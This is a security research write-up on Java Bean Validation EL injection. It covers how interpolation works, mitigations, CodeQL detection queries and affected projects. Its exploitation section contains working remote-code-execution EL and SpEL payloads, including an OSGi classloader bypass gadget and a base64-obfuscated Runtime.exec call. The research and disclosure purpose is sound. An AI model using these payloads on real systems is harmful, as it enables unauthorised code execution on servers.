A Deeper Look at Bean Validation EL Injection

CVE-2018-16621 in Nexus Repository Manager 3 caught attention not just because it was a Java Expression Language (EL) injection leading to remote code execution, but because of how it was addressed. The fix was not to prevent the injection or sandbox the EL engine, but to sanitize the user input entering the vulnerable path.

That mitigation strategy raised a natural question: could the sanitization be bypassed? Tracing the root cause showed the issue was broader than one product. The vulnerability pattern involved user-controlled Java Bean properties being concatenated into Bean Validation error messages. Those messages are later processed, and any EL expressions they contain are evaluated and interpolated into the final violation message. Since validation by definition operates on untrusted input, this pattern puts many applications at risk when three conditions are met:

  • The application uses JSR 380 (Bean Validation) with custom validators.
  • User-controlled beans are validated—for example, beans bound from HTTP requests in JAX-RS or Spring controllers.
  • A bean property is reflected in the validation error message, such as (<USER INPUT>) is not a valid email address.

How JSR 380 Interpolation Works

Bean Validation (JSR 380) lets you annotate classes or fields so that built-in or custom constraints are enforced across application layers. A Spring Boot controller receiving a @Valid annotated object will validate constraints like @Min(1), @Max(10), or @Pattern. When built-in constraints are insufficient, custom validators can be written—for example, one that checks whether a property is lower- or upper-cased via @CheckCase(CaseMode.UPPER).

The risk sits in the message interpolation step. A message interpolator transforms a message template—specified via a constraint annotation's message attribute or the buildConstraintViolationWithTemplate API—into a human-readable error message. Interpolation handles two kinds of string literals:

  • Parameter interpolation ({}) performs simple replacement, typically from a classpath resource bundle for localization. An attacker controlling the key here poses no real threat.
  • Expression interpolation (${}) is evaluated by the Jakarta Expression Language engine. If attacker-controlled bean content lands in an error message, the attacker can supply an EL expression that executes arbitrary code.

Parameter and expression interpolation are daisy-chained: the payload is first substituted into the template as a parameter, then the resulting template is processed by the expression interpolator.

Mitigation Options and Their Pitfalls

Several approaches can mitigate this class of vulnerability:

  1. Avoid reflecting validated properties in messages. The simplest fix is to not include the bean property being validated in the custom violation message. This solves the immediate issue but leaves the pattern open for future introduction.
  2. Sanitize inputs before inclusion. This is error-prone. Security researchers found multiple bugs in Hibernate Validator that allowed synthetically invalid expressions to be processed as valid, enabling bypasses of the original CVE-2018-16621 mitigation and DropWizard's initial fix. A robust sanitization example exists in Hibernate Validator's InterpolationHelper, though that internal class should not be used directly as an API.
  3. Disable EL interpolation. Register only the ParameterMessageInterpolator instead of the default combination of parameter and expression interpolators.
  4. Switch implementations. Apache BVal is an alternative JSR 380 implementation that does not interpolate EL expressions by default. However, not all Hibernate built-in constraint validators are implemented there, so it may not be a drop-in replacement.
  5. Use parameterized message templates with Expression variables, passing objects directly to the EL context so attackers cannot arbitrarily modify the template. Message parameters should not be used for this purpose, as they are subject to daisy-chained interpolation.

Finding Vulnerable Validators with CodeQL

These vulnerabilities can be found with CodeQL data flow analysis by defining a TaintTracking configuration that describes sources, taint steps, sanitizers, and sinks.

Sources

Any implementation of the javax.validation.ConstraintValidator.isValid(0) method is a source, since it receives bean properties being validated. This starts tracking from the bean itself, though it does not by itself prove attacker control—that requires demonstrating that the bean is part of an object graph unmarshaled from an HTTP request.

Sinks

The sink is the first argument to javax.validation.ConstraintValidatorContext.buildConstraintViolationWithTemplate(), where a tainted value becomes part of a message template.

Exception Messaging

Validators commonly invoke methods that can throw, and then include the exception message in the validation error. To track data flow from a tainted value into an exception message, an additional taint step connects the argument to any method call that can throw within a try block to the result of getMessage, getLocalizedMessage, or toString calls on exception variables in the corresponding catch block.

Results Across the Ecosystem

Running this query surfaced multiple vulnerable applications, confirming the pattern was widespread:

  • Sonatype Nexus (two separate advisories)
  • Netflix Titus
  • Netflix Conductor
  • DropWizard
  • Apache Syncope
  • Spring XD (unfixed, as the product has been end-of-life since 2017)

The findings show that EL injection via Bean Validation error messages is not a one-off defect. Static analysis with well-modeled taint paths can systematically identify the dangerous reflection of user-controlled properties into validation messages before they become exploitable in production.

Exploitation notes from the field

Standard EL injection payloads lean on the Java Reflection API to reach java.lang.Class and then call Class.forName() to pull in arbitrary classes for instantiation. That approach is simple and dependable in the majority of cases—but a string of real-world constraints quickly forces more creative thinking.

When the obvious payloads fail

One project maintainer rejected a proof-of-concept because their servlet container used a different EL engine. Tomcat Jasper's implementation throws an exception when the payload tries to access the class identifier, since java.lang.Class exposes no such field. Swapping the accessor to getClass() restored the exploit and the issue was accepted as a valid pre-auth RCE.

Another limitation surfaces in J2EE EL, where VarArgs support is simply not implemented—complete with a // TODO comment in the spec's reference code. Because the parameters array stays null, the subsequent m.invoke() call receives a null argument and throws java.lang.IllegalArgumentException: wrong number of arguments. That kills payloads relying on:

  • java.lang.reflect.Method.invoke(Object obj, Object... args)
  • java.lang.reflect.Constructor.newInstance(java.lang.Object...)

With those entry points ruled out, the only remaining path to instantiate arbitrary classes is java.lang.Class.newInstance(), which calls the parameterless constructor. A useful class fitting that bill is javax.script.ScriptEngineManager:

''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(<JS PAYLOAD>);

The JavaScript engine may be absent, but others can be present; ScriptEngineManager.getEngineFactories() reveals what is actually installed. In one target, only the Groovy engine was available:

''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('groovy').eval('Runtime.getRuntime().exec(\"touch /tmp/pwned\")')

That particular application, however, ran under OSGi, and the bundle where code execution was achieved could not reach javax.script.ScriptEngineManager, any other javax class, or much of anything interesting.

Working around OSGi isolation

OSGi isolates class loading to each bundle, breaking the standard parent-delegation model. Boot delegation still applies for packages listed in the org.osgi.framework.bootdelegation property, and in this application the list was:

  • com.sun.*
  • javax.transaction.*
  • javax.xml.crypto.*
  • jdk.nashorn.*
  • sun.*
  • jdk.internal.reflect.*
  • org.apache.karaf.jaas.boot.*

jdk.nashorn looked promising—jdk.nashorn.api.scripting.NashornScriptEngine would be visible—but its constructor is private. jdk.internal.reflect was unavailable because the target ran Java 8u232. Still, any class in a boot-delegated package loads through the Bootstrap classloader, giving it full visibility of all javax classes, including ScriptEngineManager.

The goal shifts to finding a class inside those delegated namespaces that performs class loading and instantiation on our behalf. A CodeQL query was written to find methods meeting these criteria:

  1. Declaring class is public with a public default constructor—so Class.newInstance() can reach it.
  2. Declaring class sits in a boot-delegated namespace.
  3. The method takes a String that flows into a class-loading call like Class.forName() or ClassLoader.loadClass(), and the loaded class flows into a constructor invocation.
  4. Return type is java.lang.Object.
  5. Method is public.
/**
 * @kind path-problem
 * @id java/new_instance_gadget
 */

import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow
import DataFlow::PathGraph

class GetConstructorStep extends TaintTracking::AdditionalTaintStep {
  override predicate step(Node n1, Node n2) {
    exists(MethodAccess ma |
      ma
          .getMethod()
          .getDeclaringType()
          .getASupertype*()
          .getSourceDeclaration()
          .hasQualifiedName("java.lang", "Class") and
      (
        ma.getMethod().hasName("getConstructor") or
        ma.getMethod().hasName("getConstructors") or
        ma.getMethod().hasName("getDeclaredConstructor") or
        ma.getMethod().hasName("getDeclaredConstructors")
      ) and
      ma.getQualifier() = n1.asExpr() and
      ma = n2.asExpr()
    )
  }
}

class ForNameStep extends TaintTracking::AdditionalTaintStep {
  override predicate step(Node n1, Node n2) {
    exists(MethodAccess ma |
      ma
          .getMethod()
          .getDeclaringType()
          .getASupertype*()
          .getSourceDeclaration()
          .hasQualifiedName("java.lang", "Class") and
      ma.getMethod().hasName("forName") and
      ma.getArgument(0) = n1.asExpr() and
      ma = n2.asExpr()
    )
  }
}

class LoadClassStep extends TaintTracking::AdditionalTaintStep {
  override predicate step(Node n1, Node n2) {
    exists(MethodAccess ma |
      ma
          .getMethod()
          .getDeclaringType()
          .getASupertype*()
          .hasQualifiedName("java.lang", "ClassLoader") and
      ma.getMethod().hasName("loadClass") and
      ma.getArgument(0) = n1.asExpr() and
      ma = n2.asExpr()
    )
  }
}

class ConstructorNewInstanceMethod extends Method {
  ConstructorNewInstanceMethod() {
    this
        .getDeclaringType()
        .getASupertype*()
        .getSourceDeclaration()
        .hasQualifiedName("java.lang.reflect", "Constructor") and
    this.hasName("newInstance")
  }
}

class ClassNewInstanceMethod extends Method {
  ClassNewInstanceMethod() {
    this
        .getDeclaringType()
        .getASupertype*()
        .getSourceDeclaration()
        .hasQualifiedName("java.lang", "Class") and
    this.hasName("newInstance")
  }
}

class PublicClass extends RefType {
  PublicClass() {
    // public so we can instantiate it
    this.isPublic() and
    // public default constructor
    exists(Constructor c |
      this.getAConstructor() = c and
      c.isPublic() and
      c.getNumberOfParameters() = 0
    )
  }
}

class BootDelegatedClass extends RefType {
  BootDelegatedClass() {
    exists(string name |
      name = this.getPackage().getName() and
      (
        name.matches("com.sun.%") or
        name.matches("javax.transaction.%") or
        name.matches("javax.xml.crypto.%") or
        name.matches("jdk.nashorn.%") or
        name.matches("sun.%") or
        name.matches("jdk.internal.reflect.%") or
        name.matches("org.apache.karaf.jaas.boot.%")
      )
    )
  }
}

class NewInstanceConfig extends TaintTracking::Configuration {
  NewInstanceConfig() { this = "Flow from Method parameter to newInstance" }

  override predicate isSource(DataFlow::Node source) {
    exists(Method m |
      // BootDelegated so can load system classes
      m.getDeclaringType() instanceof BootDelegatedClass and
      // Public so we can get an instance with Class.newInstance()
      m.getDeclaringType() instanceof PublicClass and
      // public method
      m.isPublic() and
      // Parameter is source
      exists(Parameter p |
        p = source.asParameter() and
        p = m.getAParameter() and
        p.getType().(RefType).hasQualifiedName("java.lang", "String")
      ) and
      m.getReturnType().(RefType).hasQualifiedName("java.lang", "Object")
    )
  }

  override predicate isSink(DataFlow::Node sink) {
    exists(MethodAccess ma |
      (
        ma.getMethod() instanceof ClassNewInstanceMethod or
        ma.getMethod() instanceof ConstructorNewInstanceMethod
      ) and
      sink.asExpr() = ma.getQualifier()
    )
  }
}

from NewInstanceConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select source, source, sink, "instances new objects"

Filtering the JDK results for short paths surfaced three useful instances:

  • com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance(String className, ClassLoader cl, boolean doFallback)
  • com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance(String className, boolean doFallback)
  • com.sun.org.apache.xalan.internal.utils.ObjectFactory.newInstance(String className, boolean doFallback)

These gadgets instantiate arbitrary classes visible to the Bootstrap classloader. Building the payload this way:

${validatedValue.class.forName('com.sun.org.apache.xerces.internal.utils.ObjectFactory').newInstance().newInstance('javax.script.ScriptEngineManager', true).getEngineByName('groovy').eval('Runtime.getRuntime().exec("touch /tmp/pwned")')}

…produced a different error:

javax.el.ELException: java.lang.IllegalArgumentException: Cannot convert Runtime.getRuntime().exec(\"touch /tmp/pwned\") of type class java.lang.String to class java.io.Reader

The problem: when a method is overloaded, EL always picks the first overload. In this case it selected the variant accepting a java.io.Reader. Switching to the eval(String, ScriptContext) overload solved it:

${validatedValue.class.forName('com.sun.org.apache.xerces.internal.utils.ObjectFactory').newInstance().newInstance('javax.script.ScriptEngineManager', true).getEngineByName('groovy').eval('Runtime.getRuntime().exec("touch /tmp/pwned2")', validatedValue.class.forName('com.sun.org.apache.xerces.internal.utils.ObjectFactory').newInstance().newInstance('javax.script.SimpleScriptContext', true))}

That finally delivered the RCE.

Different EL engines

Another application appeared exploitable—the debugger stopped at the buildConstraintViolationWithTemplate sink with a controlled payload—but even a trivial ${1+1} probe never evaluated. Deep debugging revealed a custom EL interpolator: an instance of Spring EL (SpEL), which uses #{} as its expression delimiter rather than ${}:

validator = Validation.buildDefaultValidatorFactory()
    .usingContext()
    .constraintValidatorFactory(new ConstraintValidatorFactoryWrapper(verifierMode, applicationValidatorFactory, spelContextFactory))
    .messageInterpolator(new SpELMessageInterpolator(spelContextFactory))
    .getValidator();

Switching the exploratory payload to #{1+1} worked, and work on the RCE payload could resume.

Capitalization constraints

The same application imposed another quirk. Two validators ran on the same property. The first lowercased the input, turning something like #{''.class.forName(...)} into an invalid forname call—Java is case-sensitive, so the payload throws. The second validator passed the payload through unmodified to the buildConstraintViolationWithTemplate sink. The catch: if the first validator throws an exception, the second never runs.

A completely lowercase RCE payload is possible in theory, but a more interesting route emerged: a dynamic EL expression that behaves differently under each validator. Since the SpEL root object (#this) differed between the two validators—the first saw a com.google.common.collect.SingletonImmutableBiMap, the second an instance from com.net—the payload could distinguish its evaluator. The SpEL ternary operator, boolean expr ? A : B, provides the dynamic behavior: if branch A is taken, branch B is never evaluated, so invalid code can be parked in B safely:

#{#this.class.name.substring(0,5) == 'com.g' ? 'FOO' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA=='))).class.name}

The first validator evaluates the lowercased expression #this.class.name.substring(0,5) == 'com.g', finds it true, and returns foo—never touching the invalid branch. The second validator runs the same condition, gets false, and jumps to the case-unmodified second branch, executing the RCE payload cleanly.

Final thoughts

Bean Validation is a legitimate aid for validating data through the application lifecycle, but custom validators are a severe risk when misimplemented. Two factors compound the danger: beans under validation are untrusted by design, and EL evaluation happens by default unless explicitly disabled or parameterized. The issues reported to several OSS projects represent an incomplete list—other open-source projects and likely many closed-source applications remain vulnerable to Bean Validation-driven SSTI. Expect a wave of related disclosures in the near term, including cases like the VMWare Cloud vulnerability that led to full infrastructure takeover.